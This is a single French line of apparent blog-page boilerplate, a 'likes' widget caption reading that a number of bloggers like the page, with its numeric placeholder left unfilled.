%d blogueurs aiment cette page :